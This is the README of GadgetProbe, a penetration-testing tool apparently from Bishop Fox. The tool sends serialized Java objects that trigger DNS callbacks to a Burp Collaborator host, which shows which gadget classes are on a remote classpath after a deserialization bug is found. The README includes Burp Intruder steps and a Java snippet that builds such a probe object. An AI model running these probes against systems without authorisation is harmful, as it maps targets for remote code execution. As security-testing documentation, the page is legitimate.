You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
You just found a Java deserialization bug, you ran all your ysoserial payloads, and.... you got nothing. What now? How can you debug or build a gadget chain if you're totally blind?
Introducing GadgetProbe, a tool that shines a light on remote classpaths and raises bug severity for all!
GadgetProbe takes a wordlist of Java classes, outputs serialized DNS callback objects, and reports what's lurking in the remote classpath.
Burp Extension Usage
The Burp extension automatically integrates with Burp Collaborator to handle DNS callbacks. The extension also includes signatures and an analyzer to identify library versions of popular sources for gadgets.
Send the vulnerable request to intruder, highlighting the vulnerable parameter.
2. Add a list of Java classes (see included wordlists)
3. Add the GadgetProbe payload processor, and any other required processors in your chain (e.g., Base64 encode).
4. Run the intruder attack and watch the results come back in the GadgetProbe Burp Tab.
GadgetProbe Java Library Usage
GadgetProbe can also be used as a Java library or CLI for specialized attacks.
importcom.bishopfox.gadgetprobe.GadgetProbe
...
// Call the GadgetProbe constructor with your authoritative nameserver (or use Burp collaborator).GadgetProbegp = newGadgetProbe("dnscallback.burpcollaborator.net");
// The crafted object "obj" is now ready to be sent using any custom implementation :)Objectobj = gp.getObject("org.apache.commons.collections.functors.invokertransformer");